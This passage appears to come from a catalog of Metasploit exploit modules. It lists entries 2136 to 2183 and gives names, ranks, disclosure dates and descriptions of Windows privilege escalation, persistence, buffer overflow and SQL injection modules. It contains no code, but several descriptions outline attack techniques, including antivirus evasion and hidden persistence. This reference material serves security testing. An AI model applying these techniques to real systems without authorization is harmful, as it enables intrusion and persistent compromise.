  Space: 2048
  Avoid: 1 characters

Description:
  The named pipe, \pipe\nsvr, has a NULL DACL allowing any
authenticated user to
  interact with the service. It contains a stacked based buffer
overflow as a result
  of a memmove operation. Note the slight spelling differences: the
executable is 'nvvsvc.exe',
  the service name is 'nvsvc', and the named pipe is 'nsvr'.

  This exploit automatically targets nvvsvc.exe versions dated Nov 3
2011, Aug 30 2012, and Dec 1 2012.
  It has been tested on Windows 7 64-bit against nvvsvc.exe dated Dec
1 2012.
```

```
End Exploit Number 2136

Begin Exploit Number 2137
       Name: Panda Security PSEvents Privilege Escalation
     Module: exploit/windows/local/panda_psevents
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-06-27

Payload information:

Description:
  PSEvents.exe within several Panda Security products runs hourly with 
SYSTEM privileges.
  When run, it checks a user writable folder for certain DLL files, 
and if any are found
  they are automatically run.
  Vulnerable Products:
  Panda Global Protection 2016 (<=16.1.2)
  Panda Antivirus Pro 2016 (<=16.1.2)
  Panda Small Business Protection (<=16.1.2)
  Panda Internet Security 2016 (<=16.1.2)


End Exploit Number 2137

Begin Exploit Number 2138
       Name: Windows Manage Memory Payload Injection
     Module: exploit/windows/local/payload_inject
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-10-12

Payload information:

Description:
  This module will inject a payload into memory of a process.  If a 
payload
  isn't selected, then it'll default to a reverse x86 TCP meterpreter. 
If the PID
  datastore option isn't specified, then it'll inject into notepad.exe 
instead.
```

```
End Exploit Number 2138

Begin Exploit Number 2139
       Name: Windows Persistent Registry Startup Payload Installer
     Module: exploit/windows/local/persistence
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-10-19

Payload information:

Description:
  This module will install a payload that is executed during boot.
  It will be executed either at user logon or system startup via the 
registry
  value in "CurrentVersion\Run" (depending on privilege and selected 
method).


End Exploit Number 2139

Begin Exploit Number 2140
       Name: Windows Silent Process Exit Persistence
     Module: exploit/windows/local/persistence_image_exec_options
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2008-06-28

Payload information:

Description:
  Windows allows you to set up a debug process when a process exits.
  This module uploads a payload and declares that it is the debug
  process to launch when a specified process exits.

End Exploit Number 2140

Begin Exploit Number 2141
       Name: Windows Persistent Service Installer
     Module: exploit/windows/local/persistence_service
   Platform: Windows
       Arch: 
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-10-20

Payload information:

Description:
  This Module will generate and upload an executable to a remote host,
next will make it a persistent service.
  It will create a new service which will start the payload whenever
the service is running. Admin or system
  privilege is required.

End Exploit Number 2141

Begin Exploit Number 2142
       Name: Plantronics Hub SpokesUpdateService Privilege Escalation
     Module: exploit/windows/local/
plantronics_hub_spokesupdateservice_privesc
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-08-30

Payload information:

Description:
  The Plantronics Hub client application for Windows makes use of an
  automatic update service `SpokesUpdateService.exe` which
automatically
  executes a file specified in the `MajorUpgrade.config` configuration
  file as SYSTEM. The configuration file is writable by all users by
default.

  This module has been tested successfully on Plantronics Hub version
3.13.2
  on Windows 7 SP1 (x64).

End Exploit Number 2142

Begin Exploit Number 2143
       Name: Windows Command Shell Upgrade (Powershell)
     Module: exploit/windows/local/powershell_cmd_upgrade
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1999-01-01

Payload information:

Description:
  This module executes Powershell to upgrade a Windows Shell session
  to a full Meterpreter session.


End Exploit Number 2143

Begin Exploit Number 2144
       Name: Powershell Remoting Remote Command Execution
     Module: exploit/windows/local/powershell_remoting
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1999-01-01

Payload information:

Description:
  This module uses Powershell Remoting (TCP 47001) to inject payloads
on target machines.
  If RHOSTS are specified, it will try to resolve the IPs to
hostnames, otherwise
  use a HOSTFILE to supply a list of known hostnames.

End Exploit Number 2144

Begin Exploit Number 2145
       Name: Windows EPATHOBJ::pprFlattenRec Local Privilege
Escalation
     Module: exploit/windows/local/ppr_flatten_rec
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2013-05-15

Payload information:
  Space: 4096

Description:
  This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due
to the usage
  of uninitialized data which allows to corrupt memory. At the moment,
the module has
  been tested successfully on Windows XP SP3, Windows 2003 SP1, and
Windows 7 SP1.

End Exploit Number 2145

Begin Exploit Number 2146
       Name: Powershell Payload Execution
     Module: exploit/windows/local/ps_persist
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-14

Payload information:

Description:
  This module generates a dynamic executable on the session host
using .NET templates.
  Code is pulled from C# templates and impregnated with a payload
before being
  sent to a modified PowerShell session with .NET 4 loaded. The
compiler builds
  the executable (standard or Windows service) in memory and produces
a binary
  which can be started/installed and downloaded for later use. After
compilation the
  PoweShell session can also sign the executable if provided a path
the a .pfx formatted
  certificate.


End Exploit Number 2146

Begin Exploit Number 2147
       Name: Authenticated WMI Exec via Powershell
     Module: exploit/windows/local/ps_wmi_exec
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-19

Payload information:
  Space: 8192

Description:
  This module uses WMI execution to launch a payload instance on a
remote machine.
  In order to avoid AV detection, all execution is performed in memory
via psh-net
  encoded payload. Persistence option can be set to keep the payload
looping while
  a handler is present to receive it. By default the module runs as
the current
  process owner. The module can be configured with credentials for the
remote host
  with which to launch the process.


End Exploit Number 2147

Begin Exploit Number 2148
       Name: PXE Exploit Server
     Module: exploit/windows/local/pxeexploit
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-08-05

Payload information:
  Space: 4500

Description:
  This module provides a PXE server, running a DHCP and TFTP server.
  The default configuration loads a linux kernel and initrd into
memory that
  reads the hard drive; placing the payload on the hard drive of any
Windows
  partition seen.

  Note: the displayed IP address of a target is the address this DHCP
server
  handed out, not the "normal" IP address the host uses.


End Exploit Number 2148

Begin Exploit Number 2149
       Name: Razer Synapse rzpnk.sys ZwOpenProcess
     Module: exploit/windows/local/razer_zwopenprocess
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Normal
  Disclosed: 2017-03-22

Payload information:

Description:
  A vulnerability exists in the latest version of Razer Synapse
  (v2.20.15.1104 as of the day of disclosure) which can be leveraged
  locally by a malicious application to elevate its privileges to
those of
  NT_AUTHORITY\SYSTEM. The vulnerability lies in a specific IOCTL
handler
  in the rzpnk.sys driver that passes a PID specified by the user to
  ZwOpenProcess. This can be issued by an application to open a handle
to
  an arbitrary process with the necessary privileges to allocate, read
and
  write memory in the specified process.

  This exploit leverages this vulnerability to open a handle to the
  winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it
by
  installing a hook to execute attacker controlled shellcode. This
hook is
  then triggered on demand by calling user32!LockWorkStation(),
resulting
  in the attacker's payload being executed with the privileges of the
  infected winlogon process. In order for the issued IOCTL to work,
the
  RazerIngameEngine.exe process must not be running. This exploit will
  check if it is, and attempt to kill it as necessary.

  The vulnerable software can be found here:
  https://www.razerzone.com/synapse/. No Razer hardware needs to be
  connected in order to leverage this vulnerability.

  This exploit is not opsec-safe due to the user being logged out as
part
  of the exploitation process.

End Exploit Number 2149

Begin Exploit Number 2150
       Name: Windows Registry Only Persistence
     Module: exploit/windows/local/registry_persistence
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-07-01

Payload information:

Description:
  This module will install a payload that is executed during boot.
  It will be executed either at user logon or system startup via the
registry
  value in "CurrentVersion\Run" (depending on privilege and selected
method).
  The payload will be installed completely in registry.


End Exploit Number 2150

Begin Exploit Number 2151
       Name: Ricoh Driver Privilege Escalation
     Module: exploit/windows/local/ricoh_driver_privesc
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-01-22

Payload information:

Description:
  Various Ricoh printer drivers allow escalation of
  privileges on Windows systems.

  For vulnerable drivers, a low-privileged user can
  read/write files within the `RICOH_DRV` directory
  and its subdirectories.

  `PrintIsolationHost.exe`, a Windows process running
  as NT AUTHORITY\SYSTEM, loads driver-specific DLLs
  during the installation of a printer. A user can
  elevate to SYSTEM by writing a malicious DLL to
  the vulnerable driver directory and adding a new
  printer with a vulnerable driver.

  This module leverages the `prnmngr.vbs` script
  to add and delete printers. Multiple runs of this
  module may be required given successful exploitation
  is time-sensitive.

End Exploit Number 2151

Begin Exploit Number 2152
```

```
       Name: Windows Run Command As User
     Module: exploit/windows/local/run_as
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1999-01-01

Payload information:

Description:
  This module will login with the specified username/password and 
execute the
  supplied command as a hidden process. Output is not returned by 
default.
  Unless targeting a local user either set the DOMAIN, or specify a 
UPN user
  format (e.g. user@domain). This uses the CreateProcessWithLogonW 
WinAPI function.

  A custom command line can be sent instead of uploading an 
executable.
  APPLICAITON_NAME and COMMAND_LINE are passed to lpApplicationName 
and lpCommandLine
  respectively. See the MSDN documentation for how these two values 
interact.

End Exploit Number 2152

Begin Exploit Number 2153
       Name: Windows Manage User Level Persistent Payload Installer
     Module: exploit/windows/local/s4u_persistence
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-01-02

Payload information:

Description:
  Creates a scheduled task that will run using service-for-user (S4U).
  This allows the scheduled task to run even as an unprivileged user
  that is not logged into the device. This will result in lower 
security
  context, allowing access to local resources only. The module
  requires 'Logon as a batch job' permissions (SeBatchLogonRight).
```

```
End Exploit Number 2153

Begin Exploit Number 2154
       Name: Windows Escalate Service Permissions Local Privilege
Escalation
     Module: exploit/windows/local/service_permissions
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2012-10-15

Payload information:

Description:
  This module attempts to exploit existing administrative privileges
to obtain
  a SYSTEM session. If directly creating a service fails, this module
will inspect
  existing services to look for insecure configuration, file or
registry permissions that may
  be hijacked. It will then attempt to restart the replaced service to
run the
  payload. This will result in a new session when this succeeds.

End Exploit Number 2154

Begin Exploit Number 2155
       Name: Windows Server 2012 SrClient DLL hijacking
     Module: exploit/windows/local/srclient_dll_hijacking
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-02-19

Payload information:

Description:
  All editions of Windows Server 2012 (but not 2012 R2) are vulnerable
to DLL
  hijacking due to the way TiWorker.exe will try to call the non-
existent
  `SrClient.dll` file when Windows Update checks for updates. This
issue can be
  leveraged for privilege escalation if %PATH% includes directories
that are
  writable by low-privileged users. The attack can be triggered by any
  low-privileged user and does not require a system reboot.

  This module has been successfully tested on Windows Server 2012
(x64).

End Exploit Number 2155

Begin Exploit Number 2156
       Name: Windows Privilege Escalation via TokenMagic (UAC Bypass)
     Module: exploit/windows/local/tokenmagic
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-05-25

Payload information:

Description:
  This module leverages a UAC bypass (TokenMagic) in order to spawn a
process/conduct a DLL
  hijacking attack to gain SYSTEM-level privileges. Windows 7 through
Windows 10 1803
  are affected.

End Exploit Number 2156

Begin Exploit Number 2157
       Name: Windows Unquoted Service Path Privilege Escalation
     Module: exploit/windows/local/unquoted_service_path
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2001-10-25

Payload information:

Description:
  This module exploits a logic flaw due to how the lpApplicationName
parameter
  is handled.  When the lpApplicationName contains a space, the file
name is
  ambiguous.  Take this file path as example: C:\program
files\hello.exe;
  The Windows API will try to interpret this as two possible paths:
  C:\program.exe, and C:\program files\hello.exe, and then execute all
of them.
```

```
  To some software developers, this is an unexpected behavior, which
becomes a
  security problem if an attacker is able to place a malicious
executable in one
  of these unexpected paths, sometimes escalate privileges if run as
SYSTEM.
  Some software such as OpenVPN 2.1.1, OpenSSH Server 5, and others
have the
  same problem.

  The offensive technique is also described in Writing Secure Code
(2nd Edition),
  Chapter 23, in the section "Calling Processes Security" on page 676.

  This technique was previously called Trusted Service Path, but is
more commonly
  known as Unquoted Service Path.

  The service exploited won't start until the payload written to disk
is removed.

End Exploit Number 2157

Begin Exploit Number 2158
       Name: VirtualBox Guest Additions VBoxGuest.sys Privilege
Escalation
     Module: exploit/windows/local/virtual_box_guest_additions
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2014-07-15

Payload information:

Description:
  A vulnerability within the VBoxGuest driver allows an attacker to
inject memory they
  control into an arbitrary location they define. This can be used by
an attacker to
  overwrite HalDispatchTable+0x4 and execute arbitrary code by
subsequently calling
  NtQueryIntervalProfile on Windows XP SP3 systems. This has been
tested with VBoxGuest
  Additions up to 4.3.10r93012.

End Exploit Number 2158

Begin Exploit Number 2159
```

```
       Name: VirtualBox 3D Acceleration Virtual Machine Escape
     Module: exploit/windows/local/virtual_box_opengl_escape
   Platform: Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2014-03-11

Payload information:
  Space: 7000

Description:
  This module exploits a vulnerability in the 3D Acceleration support
for VirtualBox. The
  vulnerability exists in the remote rendering of OpenGL-based 3D
graphics. By sending a
  sequence of specially crafted rendering messages, a virtual machine
can exploit an out
  of bounds array access to corrupt memory and escape to the host.
This module has been
  tested successfully on Windows 7 SP1 (64 bits) as Host running
Virtual Box 4.3.6.

End Exploit Number 2159

Begin Exploit Number 2160
       Name: Persistent Payload in Windows Volume Shadow Copy
     Module: exploit/windows/local/vss_persistence
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-10-21

Payload information:

Description:
  This module will attempt to create a persistent payload in a new
volume shadow copy. This is
  based on the VSSOwn Script originally posted by Tim Tomes and Mark
Baggett. This module has
  been tested successfully on Windows 7. In order to achieve
persistence through the RUNKEY
  option, the user should need password in order to start session on
the target machine.

End Exploit Number 2160
```

```
Begin Exploit Number 2161
       Name: WebEx Local Service Permissions Exploit
     Module: exploit/windows/local/webexec
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2018-10-09

Payload information:

Description:
  This module exploits a flaw in the 'webexservice' Windows service, 
which runs as SYSTEM,
  can be used to run arbitrary commands locally, and can be started by 
limited users in
  default installations.

End Exploit Number 2161

Begin Exploit Number 2162
       Name: Microsoft Error Reporting Local Privilege Elevation 
Vulnerability
     Module: exploit/windows/local/win_error_cve_2023_36874
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-07-11

Payload information:

Description:
  This module takes advantage of a bug in the way Windows error 
reporting opens the report
  parser.  If you open a report, Windows uses a relative path to 
locate the rendering program.
  By creating a specific alternate directory structure, we can coerce 
Windows into opening an
  arbitrary executable as SYSTEM.
  If the current user is a local admin, the system will attempt 
impersonation and the exploit will
  fail.

End Exploit Number 2162

Begin Exploit Number 2163
       Name: Windscribe WindscribeService Named Pipe Privilege 
```

```
Escalation
     Module: exploit/windows/local/
windscribe_windscribeservice_priv_esc
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-05-24

Payload information:

Description:
  The Windscribe VPN client application for Windows makes use of a
  Windows service `WindscribeService.exe` which exposes a named pipe
  `\.\pipe\WindscribeService` allowing execution of programs with
  elevated privileges.

  Windscribe versions prior to 1.82 do not validate user-supplied
  program names, allowing execution of arbitrary commands as SYSTEM.

  This module has been tested successfully on Windscribe versions
  1.80 and 1.81 on Windows 7 SP1 (x64).

End Exploit Number 2163

Begin Exploit Number 2164
       Name: Windows Management Instrumentation (WMI) Remote Command
Execution
     Module: exploit/windows/local/wmi
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 1999-01-01

Payload information:

Description:
  This module executes powershell on the remote host using the current
  user credentials or those supplied. Instead of using PSEXEC over TCP
  port 445 we use the WMIC command to start a Remote Procedure Call on
  TCP port 135 and an ephemeral port. Set ReverseListenerComm to
tunnel
  traffic through that session.

  The result is similar to psexec but with the added benefit of using
  the session's current authentication token instead of having to know
  a password or hash.
  The remote host must be configured to allow remote Windows
Management
  Instrumentation.

End Exploit Number 2164

Begin Exploit Number 2165
       Name: WMI Event Subscription Persistence
     Module: exploit/windows/local/wmi_persistence
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-06-06

Payload information:

Description:
  This module will create a permanent WMI event subscription to
achieve file-less persistence using one
  of five methods. The EVENT method will create an event filter that
will query the event log for an EVENT_ID_TRIGGER
  (default: failed logon request id 4625) that also contains a
specified USERNAME_TRIGGER (note: failed logon auditing
  must be enabled on the target for this method to work, this can be
enabled using "auditpol.exe /set /subcategory:Logon
  /failure:Enable"). When these criteria are met a command line event
consumer will trigger an encoded powershell payload.
  The INTERVAL method will create an event filter that triggers the
payload after the specified CALLBACK_INTERVAL. The LOGON
  method will create an event filter that will trigger the payload
after the system has an uptime of 4 minutes. The PROCESS
  method will create an event filter that triggers the payload when
the specified process is started. The WAITFOR method
  creates an event filter that utilizes the Microsoft binary
waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER
  before executing the payload. The signal can be sent from a windows
host on a LAN utilizing the waitfor.exe command
  (note: requires target to have port 445 open). Additionally a custom
command can be specified to run once the trigger is
  activated using the advanced option CUSTOM_PS_COMMAND. This module
requires administrator level privileges as well as a
  high integrity process. It is also recommended not to use stageless
payloads due to powershell script length limitations.

End Exploit Number 2165

Begin Exploit Number 2166
```

```
       Name: IBM Lotus Domino Web Server Accept-Language Stack Buffer
Overflow
     Module: exploit/windows/lotus/domino_http_accept_language
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2008-05-20

Payload information:
  Space: 800
  Avoid: 5 characters

Description:
  This module exploits a stack buffer overflow in IBM Lotus Domino Web
Server
  prior to version 7.0.3FP1 and 8.0.1. This flaw is triggered by any
HTTP
  request with an Accept-Language header greater than 114 bytes.

End Exploit Number 2166

Begin Exploit Number 2167
       Name: IBM Lotus Domino iCalendar MAILTO Buffer Overflow
     Module: exploit/windows/lotus/domino_icalendar_organizer
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-09-14

Payload information:
  Avoid: 153 characters

Description:
  This module exploits a vulnerability found in IBM Lotus Domino
iCalendar.  By
  sending a long string of data as the "ORGANIZER;mailto" header,
process "nRouter.exe"
  crashes due to a Cstrcpy() routine in nnotes.dll, which allows
remote attackers to
  gain arbitrary code execution.

  Note: In order to trigger the vulnerable code path, a valid Domino
mailbox account
  is needed.

End Exploit Number 2167
```

```
Begin Exploit Number 2168
       Name: IBM Lotus Domino Sametime STMux.exe Stack Buffer Overflow
     Module: exploit/windows/lotus/domino_sametime_stmux
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2008-05-21

Payload information:
  Space: 1024
  Avoid: 3 characters

Description:
  This module exploits a stack buffer overflow in Lotus Domino\'s
Sametime
  Server. By sending an overly long POST request to the Multiplexer
  STMux.exe service we are able to overwrite SEH. Based on the exploit
  by Manuel Santamarina Suarez.

End Exploit Number 2168

Begin Exploit Number 2169
       Name: Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview (.lzh
Attachment)
     Module: exploit/windows/lotus/lotusnotes_lzh
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-05-24

Payload information:

Description:
  This module exploits a stack buffer overflow in Lotus Notes 8.5.2
when
  parsing a malformed, specially crafted LZH file. This vulnerability
was
  discovered binaryhouse.net

End Exploit Number 2169

Begin Exploit Number 2170
       Name: Hummingbird Connectivity 10 SP5 LPD Buffer Overflow
     Module: exploit/windows/lpd/hummingbird_exceed
   Platform: Windows
```

```
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2005-05-27

Payload information:
  Space: 500
  Avoid: 2 characters

Description:
  This module exploits a stack buffer overflow in Hummingbird 
Connectivity
  10 LPD Daemon. This module has only been tested against Hummingbird
  Exceed v10 with SP5.

End Exploit Number 2170

Begin Exploit Number 2171
       Name: NIPrint LPD Request Overflow
     Module: exploit/windows/lpd/niprint
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2003-11-05

Payload information:
  Space: 500
  Avoid: 2 characters

Description:
  This module exploits a stack buffer overflow in the
  Network Instrument NIPrint LPD service. Inspired by
  Immunity's VisualSploit :-)

End Exploit Number 2171

Begin Exploit Number 2172
       Name: SAP SAPLPD 6.28 Buffer Overflow
     Module: exploit/windows/lpd/saplpd
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-02-04

Payload information:
  Space: 400
  Avoid: 2 characters

Description:
  This module exploits a stack buffer overflow in SAPlpd 6.28 (SAP
Release 6.40) .
  By sending an overly long argument, an attacker may be able to
execute arbitrary
  code.

End Exploit Number 2172

Begin Exploit Number 2173
       Name: WinComLPD Buffer Overflow
     Module: exploit/windows/lpd/wincomlpd_admin
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-02-04

Payload information:
  Space: 600
  Avoid: 2 characters

Description:
  This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.
  By sending an overly long authentication packet to the remote
  administration service, an attacker may be able to execute arbitrary
  code.

End Exploit Number 2173

Begin Exploit Number 2174
       Name: Achat Unicode SEH Buffer Overflow
     Module: exploit/windows/misc/achat_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-12-18

Payload information:
  Space: 730
  Avoid: 129 characters

Description:
  This module exploits a Unicode SEH buffer overflow in Achat. By
  sending a crafted message to the default port 9256/UDP, it's
possible to overwrite the
  SEH handler. Even when the exploit is reliable, it depends on timing
since there are
  two threads overflowing the stack in the same time. This module has
been tested on
  Achat v0.150 running on Windows XP SP3 and Windows 7.

End Exploit Number 2174

Begin Exploit Number 2175
       Name: ActFax 5.01 RAW Server Buffer Overflow
     Module: exploit/windows/misc/actfax_raw_server_bof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-02-05

Payload information:
  Space: 1024
  Avoid: 33 characters

Description:
  This module exploits a vulnerability in ActFax Server 5.01 RAW
server. The RAW
  Server can be used to transfer fax messages without any underlying
protocols. To
  note significant fields in the fax being transferred, like the fax
number or the
  recipient, ActFax data fields can be used. This module exploits a
buffer overflow
  in the handling of the @F506 fields due to the insecure usage of
strcpy. This
  module has been tested successfully on ActFax 5.01 over Windows XP
SP3 (English).

End Exploit Number 2175

Begin Exploit Number 2176
       Name: AgentX++ Master AgentX::receive_agentx Stack Buffer
Overflow
     Module: exploit/windows/misc/agentxpp_receive_agentx
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-04-16
```

```
Payload information:
  Space: 1024
  Avoid: 0 characters

Description:
  This exploits a stack buffer overflow in the AgentX++ library, as
used by
  various applications. By sending a specially crafted request, an
attacker can
  execute arbitrary code, potentially with SYSTEM privileges.

  This module was tested successfully against master.exe as included
with Real
  Network\'s Helix Server v12. When installed as a service with Helix
Server,
  the service runs as SYSTEM, has no recovery action, but will start
automatically
  on boot.

  This module does not work with NX/XD enabled but could be modified
easily to
  do so. The address

End Exploit Number 2176

Begin Exploit Number 2177
       Name: Ahsay Backup v7.x-v8.1.1.50 (authenticated) file upload
     Module: exploit/windows/misc/ahsay_backup_fileupload
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-06-01

Payload information:

Description:
  This module exploits an authenticated insecure file upload and code
  execution flaw in Ahsay Backup v7.x - v8.1.1.50. To succesfully
execute
  the upload credentials are needed, default on Ahsay Backup trial
  accounts are enabled so an account can be created.

  It can be exploited in Windows and Linux environments to get remote
code
  execution (usualy as SYSTEM). This module has been tested
successfully
  on Ahsay Backup v8.1.1.50 with Windows 2003 SP2 Server. Because of
```

```
this
  flaw all connected clients can be configured to execute a command
before
  the backup starts. Allowing an attacker to takeover even more
systems
  and make it rain shells!

  Setting the CREATEACCOUNT to true will create a new account, this is
  enabled by default.
  If credeantials are known enter these and run the exploit.

End Exploit Number 2177

Begin Exploit Number 2178
       Name: AIS logistics ESEL-Server Unauth SQL Injection RCE
     Module: exploit/windows/misc/ais_esel_server_rce
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-03-27

Payload information:
  Avoid: 3 characters

Description:
  This module will execute an arbitrary payload on an "ESEL" server
used by the
  AIS logistic software. The server typically listens on port 5099
without TLS.
  There could also be server listening on 5100 with TLS but the port
5099 is
  usually always open.
  The login process is vulnerable to an SQL Injection. Usually a MSSQL
Server
  with the 'sa' user is in place.

  This module was verified on version 67 but it should also run on
lower versions.
  An fixed version was created by AIS in September 2017. However most
systems
  have not been updated.

  In regard to the payload, unless there is a closed port in the web
server,
  you dont want to use any "bind" payload. You want a "reverse"
payload,
  probably to your port 80 or to any other outbound port allowed on
the firewall.
```

```
  Currently, one delivery method is supported

  This method takes advantage of the Command Stager subsystem. This
allows using
  various techniques, such as using a TFTP server, to send the
executable. By default
  the Command Stager uses 'wcsript.exe' to generate the executable on
the target.

  NOTE: This module will leave a payload executable on the target
system when the
  attack is finished.

End Exploit Number 2178

Begin Exploit Number 2179
       Name: ALLMediaServer 0.8 Buffer Overflow
     Module: exploit/windows/misc/allmediaserver_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-07-04

Payload information:
  Space: 660
  Avoid: 0 characters

Description:
  This module exploits a stack buffer overflow in ALLMediaServer 0.8.
The vulnerability
  is caused due to a boundary error within the handling of HTTP
request.

  While the exploit supports DEP bypass via ROP, on Windows 7 the
stack pivoting isn't
  reliable across virtual (VMWare, VirtualBox) and physical
environments. Because of
  this the module isn't using DEP bypass on the Windows 7 SP1 target,
where by default
  DEP is OptIn and AllMediaServer won't run with DEP.

End Exploit Number 2179

Begin Exploit Number 2180
       Name: Symantec Altiris DS SQL Injection
     Module: exploit/windows/misc/altiris_ds_sqli
   Platform: Windows
```

```
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-05-15

Payload information:

Description:
  This module exploits a SQL injection flaw in Symantec Altiris 
Deployment Solution 6.8
  to 6.9.164. The vulnerability exists on axengine.exe which fails to 
adequately sanitize
  numeric input fields in "UpdateComputer" notification Requests. In 
order to spawn a shell,
  several SQL injections are required in close succession, first to 
enable xp_cmdshell, then
  retrieve the payload via TFTP and finally execute it. The module 
also has the capability
  to disable or enable local application authentication. In order to 
work the target system
  must have a tftp client available.

End Exploit Number 2180

Begin Exploit Number 2181
       Name: Apple QuickTime 7.3 RTSP Response Header Buffer Overflow
     Module: exploit/windows/misc/apple_quicktime_rtsp_response
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2007-11-23

Payload information:
  Space: 700
  Avoid: 16 characters

Description:
  This module exploits a stack buffer overflow in Apple QuickTime 7.3. 
By sending an overly long
  RTSP response to a client, an attacker may be able to execute 
arbitrary code.

End Exploit Number 2181

Begin Exploit Number 2182
       Name: Asus Dpcproxy Buffer Overflow
     Module: exploit/windows/misc/asus_dpcproxy_overflow
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2008-03-21

Payload information:
  Space: 400
  Avoid: 8 characters

Description:
  This module exploits a stack buffer overflow in Asus Dpcroxy version 
2.0.0.19.
  It should be vulnerable until version 2.0.0.24.
  Credit to Luigi Auriemma

End Exploit Number 2182

Begin Exploit Number 2183
       Name: Avaya WinPMD UniteHostRouter Buffer Overflow
     Module: exploit/windows/misc/avaya_winpmd_unihostrouter
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-05-23

Payload information:
  Space: 1024
  Avoid: 7 characters

Description:
  This module exploits a stack buffer overflow in Avaya WinPMD. The 
vulnerability
  exists in the UniteHostRouter service, due to the insecure usage of 
memcpy when
